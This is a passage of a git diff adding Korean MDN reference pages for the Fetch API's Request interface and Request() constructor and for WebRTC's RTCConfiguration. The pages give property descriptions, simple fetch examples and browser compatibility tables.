+<div>{{APIRef("Fetch")}}</div>
+
+<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>의 <strong><code>Request</code></strong>는 리퀘스트 리소스를 표현해주는 인터페이스입니다. </p>
+
+<p>{{domxref("Request.Request()")}} 생성자 메서드를 사용하는 것으로, 새로운 <code>Request</code>오브젝트를 생성할 수 있습니다. 이 인터페이스는 그리 자주 사용되지 않는 것으로 service worker의 {{domxref("FetchEvent.request")}}와 같은 별개의 API와 만나는 경우가 더 잦을 것입니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("Request.Request()")}}</dt>
+ <dd>새로운 <code>Request</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<dl>
+ <dt>{{domxref("Request.method")}} {{readonlyInline}}</dt>
+ <dd>Request 메서드 (<code>GET</code>, <code>POST</code> 같은것들)을 포함합니다.</dd>
+ <dt>{{domxref("Request.url")}} {{readonlyInline}}</dt>
+ <dd>Request의 URL을 포함합니다.</dd>
+ <dt>{{domxref("Request.headers")}} {{readonlyInline}}</dt>
+ <dd>Request의 {{domxref("Headers")}}와 관련된 정보를 포함하고 있습니다.</dd>
+ <dt>{{domxref("Request.context")}} {{readonlyInline}} {{deprecated_inline()}}</dt>
+ <dd>리퀘스트의 컨텍스트 (예: <code>audio</code>, <code>image</code>, <code>iframe</code>)을 포함하고 잇습니다.</dd>
+ <dt>{{domxref("Request.referrer")}} {{readonlyInline}}</dt>
+ <dd>리퀘스트의 referrer 정보 (예:<code>client</code>)을 포함하고 있습니다.</dd>
+ <dt>{{domxref("Request.referrerPolicy")}} {{readonlyInline}}</dt>
+ <dd>Request의 referrer policy 정보 (예: <code>no-referrer</code>)를 포함하고 있습니다.</dd>
+ <dt>{{domxref("Request.mode")}} {{readonlyInline}}</dt>
+ <dd>Request의 모드를 (예: <code>cors</code>, <code>no-cors</code>, <code>same-origin</code>, <code>navigate</code>) 포함하고 있습니다.</dd>
+ <dt>{{domxref("Request.credentials")}} {{readonlyInline}}</dt>
+ <dd>Request의 자격 증명서(credentials)  (예: <code>omit</code>, <code>same-origin</code>)를 포함하고 있습니다.</dd>
+ <dt>{{domxref("Request.redirect")}} {{readonlyinline}}</dt>
+ <dd>Request의 처리 방법을 위한 모드 (예: <code>follow</code>, <code>error</code>, or <code>manual</code>)를 포함합니다.</dd>
+ <dt>{{domxref("Request.integrity")}} {{readonlyInline}}</dt>
+ <dd>리퀘스트의 <a href="/en-US/docs/Web/Security/Subresource_Integrity">subresource integrity</a> 해쉬값(예:<code>sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=</code>)을 포함합니다.</dd>
+ <dt>{{domxref("Request.cache")}} {{readonlyInline}}</dt>
+ <dd>Request의 캐시모드를 (예: <code>default</code>, <code>reload</code>, <code>no-cache</code>) 포함합니다.</dd>
+</dl>
+
+<p><code>Request</code>는 {{domxref("Body")}}를 구현하고 있으므로 다음 프로퍼티 또한 사용 가능합니다.</p>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("ReadableStream")}}을 바디 컨텐츠로 가져올 수 있는 간단한 게터 프로퍼티입니다.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>Response에서 바디가 사용되었는가의 여부를 {{domxref("Boolean")}} 형태로 표시합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("Request.clone()")}}</dt>
+ <dd><code>Request</code>의 복사본을 생성합니다.</dd>
+</dl>
+
+<p><code>Request</code>는 {{domxref("Body")}}를 구현하고 있으므로 다음 프로퍼티 또한 사용 가능합니다.</p>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>{{domxref("ArrayBuffer")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>{{domxref("Blob")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>{{domxref("FormData")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>{{domxref("JSON")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>{{domxref("USVString")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: {{domxref("Body")}} 함수는 한번밖에 실행할 수 없습니다. 두번째부터는 빈 문자열, 혹은 ArrayBuffer이 반환됩니다.</p>
+</div>
+
+<h2 id="예시">예시</h2>
+
+<p>다음의 예시들은 Request를 이용해 스크립트와 같은 디렉터리에 존재하는 사진의 여러가지 정보를 불러오는 방법입니다. <code>Request()</code> 생성자를 사용하여 새로운 Request를 생성하여 몇몇 몇 프로퍼티를 반환합니다.</p>
+
+<pre class="brush: js">const myRequest = new Request('http://localhost/flowers.jpg');
+
+const myURL = myRequest.url; // http://localhost/flowers.jpg
+const myMethod = myRequest.method; // GET
+const myCred = myRequest.credentials; // omit
+</pre>
+
+<p>{{domxref("GlobalFetch.fetch()")}}의 매개변수에 Request 객체를 전달하는것으로 then 파라미터를 이끌어낼 수 있습니다. 아래는 그에대한 예시입니다.</p>
+
+<pre class="brush: js">fetch(myRequest)
+  .then(response =&gt; response.blob())
+  .then(blob =&gt; {
+    myImage.src = URL.createObjectURL(blob);
+  });</pre>
+
+<p>아래는 Body Payload가 필요한 API 요청을 다루는 예시입니다.  Request() 생성자를 사용하여 초기 데이터 및 본문 내용이 포함 된새 요청을 만듭니다.</p>
+
+<p> </p>
+
+<p>아래는 Body Payload가 필요한 API 요청을 다루는 예시입니다.  Request() 생성자를 사용하여 초기 데이터와 Body의 컨텐츠를 읽어올 수 있습니다.</p>
+
+<pre class="brush: js">const myRequest = new Request('http://localhost/api', {method: 'POST', body: '{"foo":"bar"}'});
+
+const myURL = myRequest.url; // http://localhost/api
+const myMethod = myRequest.method; // POST
+const myCred = myRequest.credentials; // omit
+const bodyUsed = myRequest.bodyUsed; // true
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Body의 타입은 {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("USVString")}} 혹은 {{domxref("ReadableStream")}}로만 올 수 있습니다.  따라서 payload에 JSON객체를 추가하려면 해당 객체를 문자열로 지정할 수 있습니다.</p>
+</div>
+
+<p>그런 다음 Request 객체를 매개 변수로 {{domxref("GlobalFetch.fetch()")}} 호출에 전달하여 api 요청을 가져와 응답을 얻을 수 있습니다. 아래는 예시입니다.</p>
+
+<pre class="brush: js">fetch(myRequest)
+  .then(response =&gt; {
+    if (response.status === 200) {
+      return response.json();
+    } else {
+      throw new Error('Something went wrong on api server!');
+    }
+  })
+  .then(response =&gt; {
+    console.debug(response);
+    // ...
+  }).catch(error =&gt; {
+    console.error(error);
+  });</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#request-class','Request')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_지원">브라우저 지원</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>기능</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>기본 지원</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(39)}}<br>
+    34</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(28)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>Request.body.formData</code></td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(47)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>Request.integrity</code></td>
+   <td>{{CompatChrome(46)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(33)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>Request.redirect</code></td>
+   <td>{{CompatChrome(46)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(33)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Constructor <code>init</code> can accept <code>ReadableStream</code> <code>body</code></td>
+   <td>{{CompatChrome(43)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(33)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>기능</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>기본 지원</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(28)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>Request.body.formData</code></td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(47)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>Request.integrity</code></td>
+   <td>{{CompatChrome(46)}}</td>
+   <td>{{CompatChrome(46)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(33)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>Request.redirect</code></td>
+   <td>{{CompatChrome(46)}}</td>
+   <td>{{CompatChrome(46)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(33)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Constructor <code>init</code> can accept <code>ReadableStream</code> <code>body</code></td>
+   <td>{{CompatChrome(43)}}</td>
+   <td>{{CompatChrome(43)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(33)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] 읽기전용 스트림은 파이어폭스에서 사용 가능하며, <code>dom.streams.enabled</code>와 <code>javascript.options.streams</code> 설정에 숨어있습니다.</p>
+
+<h2 id="관련항목">관련항목</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ko/web/api/request/request/index.html b/files/ko/web/api/request/request/index.html
new file mode 100644
index 0000000000..0eab065ff9
--- /dev/null
+++ b/files/ko/web/api/request/request/index.html
@@ -0,0 +1,214 @@
+---
+title: Request()
+slug: Web/API/Request/Request
+translation_of: Web/API/Request/Request
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p><code><strong>Request()</strong></code> 생성자는 새로운  {{domxref("Request")}} 객체를 생성하도록 도와줍니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">var myRequest = new Request(input, init);</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><em>input</em></dt>
+ <dd>취득한 리소스를 정의합니다. 이하의 값을 파라미터로 넣을 수 있습니다.
+ <ul>
+  <li>취득하고 싶은 리소스의 URL을 담은 {domxref("USVString")}}.</li>
+  <li>Request 객체의 클론 생성을 위해 입력할 {{domxref("Request")}} 객체. 기존의 request 객체로 새로운 동일한 객체를 생성할때, 다음과 같은 보안에 관련된 예외가 검출될 수 있습니다.</li>
+ </ul>
+ </dd>
+ <dt><em>init</em> {{optional_inline}}</dt>
+ <dd>리퀘스트를 적용할 커스텀 설정을 포함한 옵션오브젝트. 설정 가능한 옵션은 다음과 같습니다.
+ <ul>
+  <li><code>method</code>: <code>GET</code>, <code>POST</code>과 같은 리퀘스트 메소드.</li>
+  <li><code>headers</code>: {{domxref("Headers")}}객체 또는 {{domxref("ByteString")}}를 포함하는 리퀘스트에 추가하는 헤더.</li>
+  <li><code>body</code>: 리퀘스트에 추가할 바디.  {{domxref("Blob")}}이나, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("USVString")}}, 또한 {{domxref("ReadableStream")}} 객체를 사용할 수 있습니다.Request객체가 GET이나 HEAD메서드를 사용하는 경우, 바디를 포함하지 않습니다.</li>
+  <li><code>mode</code>: Request에서 사용할 모드. <code>cors</code>, <code>no-cors</code>, <code>same-origin</code>, 또한 <code>navigate</code>이 사용 가능하며, 기본값은 <code>cors</code>입니다. 47버전 이전의 크롬에서는 기본값이 <code>no-cors</code> 이며 크롬 47버전 이후로 <code>same-origin</code>가 사용 가능하게 되었습니다.</li>
+  <li><code>credentials</code>: Request에서 사용할 자격 증명서(Request Credential)입니다.<code>omit</code>, <code>same-origin</code>, 또는 <code>include</code>를 사용할 수 있습니다.기본값은 <code>omit</code>.이며, 크롬 47 이전의 기본값은 <code>same-origin</code> 입니다. 크롬 47 이후로부터<code>include</code>가 사용 가능하게 되었습니다.</li>
+  <li><code>cache</code>: Request에서 사용할 <a href="/en-US/docs/Web/API/Request/cache">cache mode</a> 입니다.</li>
+  <li><code>redirect</code>: Request에서 사용할 리다이렉트 모드입니다. <code>follow</code>, <code>error</code>, <code>manual</code>.이 사용 가능합니다. 크롬 47 이전 버전에서의 기본값은 <code>manual</code> 이며, 47 이후로부터 <code>follow</code> 가 사용 가능하게 되었습니다.</li>
+  <li><code>referrer</code>: <code>no-referrer</code>나 <code>client</code>, URL을 지정하는 {{domxref("USVString")}}입니다.. 기본값은 <code>client</code>입니다.</li>
+  <li><code>integrity</code>: <code>sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=</code>같은 Request의 하위 리소스 무결성(<a href="/en-US/docs/Web/Security/Subresource_Integrity">subresource integrity</a>) 값을 포함합니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="에러">에러</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"><strong>타입</strong></th>
+   <th scope="col"><strong>내용</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td><a href="/en-US/docs/Mozilla/Firefox/Releases/43">Firefox 43</a>부터, http://user:password@example.com와 같인 credential을 포함하는 경우 <code>Request()</code> 는 타입 에러를 반환합니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="예시">예시</h2>
+
+<p> </p>
+
+<p><a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request">Fetch Request example</a>에서는, 생성자를 사용해 새로운 Requst 객체를 생성하고 나서 {{domxref("GlobalFetch.fetch")}}인터페이스를 이용해 Request로 읽어온 결과를 취득하고 있습니다. 특정 사진을 가져와서 사용할 수 있게 만들기 위해서  MIME타입을 설정하고, Response의 {{domxref("Body.blob")}}를 반환합니다. 그 후로 오브젝트 URL을 생성해 {{htmlelement("img")}}요소를 표시하도록 합니다. <a href="http://mdn.github.io/fetch-examples/fetch-request/">Fetch Request live</a>를 참고해주시기 바랍니다.</p>
+
+<pre>var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+  return response.blob();
+}).then(function(response) {
+  var objectURL = URL.createObjectURL(response);
+  myImage.src = objectURL;
+});</pre>
+
+<p><a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request-with-init">Fetch Request with init example</a>에서는 <font face="Courier New">fetch()를 실행할 때 마다, </font>init객체를 전달하는 것 이외에는 거의 동일한 기능을 수행합니다. <a href="http://mdn.github.io/fetch-examples/fetch-request-with-init/">Fetch Request init live </a>를 참조해주시기 바랍니다.</p>
+
+<pre>var myImage = document.querySelector('img');
+
+var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'image/jpeg');
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg',myInit);
+
+fetch(myRequest).then(function(response) {
+  ...
+});</pre>
+
+<p>동일한 효과를 얻기 위해 fetch 호출자에 init객체를 전달하는 것에 주목해주시기 바랍니다. 예를 들면...</p>
+
+<pre>fetch(myRequest,myInit).then(function(response) {
+  ...
+});</pre>
+
+<p>Request 객체ㅡ이 클론을 생성하기 위해서 <code>Request()</code> 생성자에 {{domxref("Request")}} 를 전달하고 있습니다.（이것은  {{domxref("Request.clone","clone()")}} 메서드의 호출자와 같습니다.）</p>
+
+<pre>var copy = new Request(myRequest);
+</pre>
+
+<p><strong>노트</strong>：마지막의 예시는 <a href="/ja/docs/Web/API/ServiceWorker_API">ServiceWorkers</a>안에서만 사용 가능합니다。</p>
+
+<h2 id="사용">사용</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">사용</th>
+   <th scope="col">상태</th>
+   <th scope="col">꼬릿말</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-request','Request()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_지원현황">브라우저 지원현황</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>기능</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>기본 서포트</td>
+   <td>{{ CompatChrome(42.0) }} [1]<br>
+     </td>
+   <td>{{ CompatGeckoDesktop(39)}} [2]</td>
+   <td>{{ CompatNo }}</td>
+   <td>
+    <p>29 [3]</p>
+   </td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+  <tr>
+   <td>스트리밍 리스폰스 바디</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>기능</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>기본 지원</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatChrome(42) }} [1]</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatChrome(42.0) }} [1]</td>
+  </tr>
+  <tr>
+   <td>스트리밍 리스폰시브 바디</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(43.0)}} </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}} </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] 초기 파라미터의 기본값의 일부는 Chrome 47부터 변경되었스빈다. 상세한 내용은 프로퍼티 섹션을 참고해주시기 바랍니다.</p>
+
+<p>[2] 34는 설정에서 변경할 수 있습니다.</p>
+
+<p>[3] 28는 설정에서 변경할 수 있습니다.</p>
+
+<h2 id="관련항목">관련항목</h2>
+
+<ul>
+ <li><a href="/ja/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/ja/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/ja/docs/Web/HTTP">HTTP</a></li>
+</ul>
+
+<p> </p>
+
+<ul>
+ <li> </li>
+</ul>
diff --git a/files/ko/web/api/rtcconfiguration/index.html b/files/ko/web/api/rtcconfiguration/index.html
new file mode 100644
index 0000000000..bc578aaf53
--- /dev/null
+++ b/files/ko/web/api/rtcconfiguration/index.html
@@ -0,0 +1,97 @@
+---
+title: RTCConfiguration
+slug: Web/API/RTCConfiguration
+tags:
+  - API
+  - Dictionary
+  - Interface
+  - RTCConfiguration
+  - WebRTC
+translation_of: Web/API/RTCConfiguration
+---
+<p>{{APIRef("WebRTC")}}{{draft}}</p>
+
+<p><strong><code>RTCConfiguration</code></strong>는 {{domxref("RTCPeerConnection")}}의 설정에 대한 옵션들을 제공합니다. 연결이 처음으로 이루어질 때 {{domxref("RTCPeerConnection")}} 생성자에 전달되거나, 연결이 확립된 동안 설정을 확인하고 변경이 가능한{{domxref("RTCPeerConnection.getConfiguration()")}} 및 {{domxref("RTCPeerConnection.setConfiguration()")}} 메소드와 같이 사용됩니다.</p>
+
+<p>옵션은 ICE 서버, 전달 셋팅, 그리고 identity 정보를 포함합니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("RTCConfiguration.bundlePolicy", "bundlePolicy")}} {{optional_inline}}</dt>
+ <dd>원격 피어가 <a href="https://webrtcstandards.info/sdp-bundle/">SDP BUNDLE standard</a>에 호환이 불가능할 때, 어떻게 candidate의 네고시에이션을 처리 할 것인지를 정의합니다. 이 옵션은 무조건 enum <code><a href="#RTCBundlePolicy_enum">RTCBundlePolicy</a></code>의 값들 중 하나여야만 합니다. 만약 이 값이 딕셔너리에 없으면, <code>"balanced"</code> 으로 지정됩니다.</dd>
+ <dt>{{domxref("RTCConfiguration.certificates", "certificates")}} {{optional_inline}}</dt>
+ <dd>인증을 위해 연결에서 사용되는 {{domxref("RTCCertificate")}} 타입의 객체의 {{jsxref("Array")}} 입니다. 이 속성이 정의되어있지 않으면, 각 {{domxref("RTCPeerConnection")}} 인스턴스별로 자동으로 인증서 모음이 생성됩니다. 하나의 연결에는 오직 한개의 인증서만 사용이 되지만, 여러 알고리즘들에 대해 다수의 인증서를 제공하는 방법으로 어떤 상황에서 우연치 않게 연결이 성공되는 경우를 줄일 수 있습니다. 아래는 {{anch("Using certificates")}}에 대한 추가 정보입니다.
+ <div class="note">이 설정 옵션은 한 번 정의되면 변경이 불가능합니다. 한 번 인증서가 지정되면, 그 후 발생하는 {{domxref("RTCPeerConnection.setConfiguration()")}} 호출에서 이 속성이 무시됩니다.</div>
+ </dd>
+ <dt>{{domxref("RTCConfiguration.iceCandidatePoolSize", "iceCandidatePoolSize")}} {{optional_inline}}</dt>
+ <dd>미리 가져와진 ICE candidate pool의 크기를 정의하는 서명되지 않은 16-bit 정수 값. 기본 값은 0으로 candidate를 미리 가져오는 것이 발생하지 않음을 뜻함. 연결 시도를 시작하기전에 ICE 에이전트가 ICE candidates를 미리 가져오게 허용하면, candidate들은  {{domxref("RTCPeerConnection.setLocalDescription()")}} 호출로 이미 확인이 가능하게 되고, 이로 인해 몇몇 상황에서 연결이 더 빠르게 성립됩니다.
+ <div class="note">ICE candidate pool의 크기 변경은 ICE 수집을 시작하게 만들 수 있습니다.</div>
+ </dd>
+ <dt>{{domxref("RTCConfiguration.iceServers", "iceServers")}} {{optional_inline}}</dt>
+ <dd>ICE 에이전트에 의해 이용될 수 있는 하나의 서버를 설명하는 {{domxref("RTCIceServer")}} 객체의 배열. 일반적으로 STUN 혹은 TURN 서버들입니다. 이 옵션이 정의가 안되어있으면, ICE 에이전트는 자체 ICE 서버를 선택하여 사용 할 수 있습니다. 자체 서버가 없다면, 연결은 사용 가능한 STUN 혹은 TURN 서버 없이 진행되고, 이는 로컬 피어와의 연결을 제한합니다. </dd>
+ <dt>{{domxref("RTCConfiguration.iceTransportPolicy", "iceTransportPolicy")}} {{optional_inline}}</dt>
+ <dd>현재 ICE 전송 정책; 이는 <code><a href="#RTCIceTransportPolicy_enum">RTCIceTransportPolicy</a></code> enum에 존재하는 값입니다. 이 옵션이 정의가 안되어있으면, <code>"all"</code>로 설정됩니다.</dd>
+ <dt>{{domxref("RTCConfiguration.peerIdentity", "peerIdentity")}} {{optional_inline}}</dt>
+ <dd>{{domxref("RTCPeerConnection")}}에 대한 타겟 피어 identity를 명시하는 {{domxref("DOMString")}}. 이 값이 지정되어있으면, <code>RTCPeerConnection</code>은 주어진 이름으로 인증이 성공하지 않는 이상 원격 피어와 연결하지 않습니다. (기본 값은 <code>null</code> 입니다.) </dd>
+ <dt>{{domxref("RTCConfiguration.rtcpMuxPolicy", "rtcpMuxPolicy")}} {{optional_inline}}</dt>
+ <dd>non-multiplexed RTCP를 지원하기 위해, ICE candidate를 수집 할 때 사용되는 RTCP mux 정책. 이 값은 <a href="#RTCRtcpMuxPolicy_enum"><code>RTCRtcpMuxPolicy</code> enum</a>.에 존재하는 값입니다. 기본 값은 <code>"require"</code>입니다.</dd>
+</dl>
+
+<h2 id="상수">상수</h2>
+
+<p>{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCBundlePolicy enum", 0, 1)}}</p>
+
+<p>{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCIceTransportPolicy enum", 0, 1)}}</p>
+
+<p>{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCRtcpMuxPolicy enum", 0, 1)}}</p>
+
+<h2 id="인증서_사용하기">인증서 사용하기</h2>
+
+<p><code>RTCPeerConnection</code>가 자동으로 생성하는 인증서 대신에, 사용자가 직접 {{domxref("RTCPeerConnection")}}을 위한 자체 인증서를 만들기를 원한다면 {{domxref("RTCPeerConnection.generateCertificate()")}} 호출 합니다. </p>
+
+<p>이 속성은 다중 인증서 제공을 지원합니다. 이는 주어진 DTLS 연결이 오직 하나의 인증서를 사용한다해도, 다중 인증서는 여러개의 암호화 알고리즘 지원을 허용하기 때문입니다. <code>RTCPeerConnection</code>의 구현은 DTLS 합의 중 결정된 알고리즘 및 원격 피어에 근거해서 어떤 인증서를 사용 할지 선택합니다.</p>
+
+<p>인증서를 제공하지 않으면, 신규 인증서가 자동으로 생성이 됩니다. 사용자 자체의 identity 키를 제공하는 것의 한 가지 명백한 장점은 연속성입니다. 동일한 인증서를 이후 호출에도 사용하게되면, 원격 피어는 사용자가 같은 caller인지 알 수 있습니다. 또한, 새로운 인증키를 발급하지 않아도 됩니다. </p>
+
+<p>&lt;&lt;&lt;link to added info on identity&gt;&gt;&gt;</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래 설정은 두개의 ICE 서버를 구축합니다. 첫 번째 서버, <code>stun:stun.services.mozilla.com</code>는 인증을 요구하기 때문에 유저 이름과 비밀번호를 제공합니다. 두 번째 서버는 두 개의 URL 주소가 있습니다: <code>stun:stun.example.com</code>와 <code>stun:stun-1.example.com</code>입니다.</p>
+
+<pre class="brush: js">var configuration = { iceServers: [{
+                          urls: "stun:stun.services.mozilla.com",
+                          username: "louis@mozilla.com",
+                          credential: "webrtcdemo"
+                      }, {
+                          urls: ["stun:stun.example.com", "stun:stun-1.example.com"]
+                      }]
+};
+
+var pc = new RTCPeerConnection(configuration);</pre>
+
+<h2 id="사양서">사양서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0','#dom-rtcconfiguration','RTCConfiguration')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCConfiguration")}}</p>
+</div>
diff --git a/files/ko/web/api/rtcdatachannelevent/channel/index.html b/files/ko/web/api/rtcdatachannelevent/channel/index.html
new file mode 100644
index 0000000000..88c924f969
--- /dev/null
+++ b/files/ko/web/api/rtcdatachannelevent/channel/index.html
